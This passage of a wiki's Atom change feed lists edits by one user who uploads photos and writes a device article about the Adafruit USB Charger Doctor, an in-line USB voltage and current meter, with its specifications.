		<updated>2022-07-06T12:51:11Z</updated>

		<summary type="html">&lt;p&gt;BVogler: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>BVogler</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:ChargerDoctor_Notebook_Volt.jpg&amp;diff=10214</id>
		<title>File:ChargerDoctor Notebook Volt.jpg</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:ChargerDoctor_Notebook_Volt.jpg&amp;diff=10214"/>
		<updated>2022-07-06T12:51:05Z</updated>

		<summary type="html">&lt;p&gt;BVogler: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>BVogler</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:ChargerDoctor_Adapter_Voltage.jpg&amp;diff=10213</id>
		<title>File:ChargerDoctor Adapter Voltage.jpg</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:ChargerDoctor_Adapter_Voltage.jpg&amp;diff=10213"/>
		<updated>2022-07-06T12:50:59Z</updated>

		<summary type="html">&lt;p&gt;BVogler: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>BVogler</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:ChargerDoctor_Adapter_Ampere.jpg&amp;diff=10212</id>
		<title>File:ChargerDoctor Adapter Ampere.jpg</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:ChargerDoctor_Adapter_Ampere.jpg&amp;diff=10212"/>
		<updated>2022-07-06T12:50:51Z</updated>

		<summary type="html">&lt;p&gt;BVogler: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>BVogler</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=CHARGER_Doctor_USB_Power_Meter&amp;diff=10151</id>
		<title>CHARGER Doctor USB Power Meter</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=CHARGER_Doctor_USB_Power_Meter&amp;diff=10151"/>
		<updated>2022-06-24T13:34:08Z</updated>

		<summary type="html">&lt;p&gt;BVogler: added further device details to complete article&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Device|device_name=USB Charger Doctor - In-line Voltage and Current Meter|manufacturer=Adafruit|link=https://www.adafruit.com/product/1852|image_link=https://stuff.elvis.science/uploads/accessories/accessory-k5r7TGG4SMaFA8gQop.jpg|description=The USB Charger Doctor is and Voltage and Current Meter that measures in-line. It supports USB 1.x and 2.x and has no USB 3.x capabilities. Its a handy tool to test USB devices, check load levels and debug battery chargers and boost converters.|technicalSpecification=Working Range: 0~3A, 3.5~7VDC, Resolution: 10mV / 10mA, Operating Temperature: 0-60°C|supportedTechnologies=USB 1.x and 2.x - all data speeds|includedEquipment=1x USB Charger Doctor}}&lt;/div&gt;</summary>
		<author><name>BVogler</name></author>
	</entry>
</feed>